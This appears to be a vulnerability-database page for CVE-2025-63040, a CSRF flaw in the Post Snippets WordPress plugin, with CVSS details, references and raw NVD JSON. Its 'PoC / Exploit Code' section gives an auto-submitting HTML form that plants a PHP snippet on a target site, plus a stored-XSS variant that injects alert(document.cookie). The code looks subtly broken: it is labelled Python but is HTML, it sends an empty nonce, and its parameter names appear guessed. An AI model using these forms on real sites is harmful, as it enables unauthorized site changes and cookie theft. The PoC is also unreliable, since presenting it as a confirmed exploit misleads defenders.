CVE-2025-63040

Description

Cross-Site Request Forgery (CSRF) vulnerability in Saad Iqbal Post Snippets post-snippets allows Cross Site Request Forgery.This issue affects Post Snippets: from n/a through <= 4.0.11.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Post Snippets WordPress Plugin <= 4.0.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-63040 -->
<!-- Post Snippets WordPress Plugin CSRF Vulnerability -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC - CVE-2025-63040</title>
</head>
<body>
    <h1>CSRF PoC for Post Snippets Plugin</h1>
    <p>This PoC demonstrates the CSRF vulnerability in Post Snippets <= 4.0.11</p>
    
    <form action="http://target-wordpress-site/wp-admin/admin-post.php" method="POST" id="csrf-form">
        <!-- Required WordPress nonce and action parameters -->
        <input type="hidden" name="action" value="post_snippets_save_snippet">
        <input type="hidden" name="_wpnonce" value="">
        
        <!-- Malicious snippet data -->
        <input type="hidden" name="snippet_name" value="malicious_snippet">
        <input type="hidden" name="snippet_description" value="CSRF Injected Content">
        <input type="hidden" name="snippet_vars" value="">
        <input type="hidden" name="snippet_code" value="<?php echo 'CSRF successful'; ?>">
        <input type="hidden" name="snippet_shortcode" value="true">
        <input type="hidden" name="snippet_wptexturize" value="true">
        <input type="hidden" name="snippet-php" value="true">
    </form>
    
    <script>
        // Auto-submit form when page loads
        document.getElementById('csrf-form').submit();
        console.log('CSRF PoC executed');
    </script>
    
    <p>If you see this message, the form has been submitted.</p>
</body>
</html>

<!-- Alternative PoC: Stored XSS via CSRF -->
<!-- Attackers can inject malicious JavaScript through CSRF -->
<form action="http://target-wordpress-site/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="post_snippets_save_snippet">
    <input type="hidden" name="snippet_name" value="xss_payload">
    <input type="hidden" name="snippet_code" value="<script>alert(document.cookie)</script>">
</form>
<script>document.forms[0].submit();</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-63040
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-63040
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-63040/
[4] VulDB https://vuldb.com/cve/CVE-2025-63040
[5] https://patchstack.com/database/Wordpress/Plugin/post-snippets/vulnerability/wordpress-post-snippets-plugin-4-0-11-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-63040", "sourceIdentifier": "[email protected]", "published": "2025-12-31T16:15:47.960", "lastModified": "2026-04-23T15:35:00.180", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Saad Iqbal Post Snippets post-snippets allows Cross Site Request Forgery.This issue affects Post Snippets: from n/a through <= 4.0.11."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en Saad Iqbal Post Snippets permite la falsificación de petición en sitios cruzados. Este problema afecta a Post Snippets: desde n/a hasta 4.0.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/post-snippets/vulnerability/wordpress-post-snippets-plugin-4-0-11-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}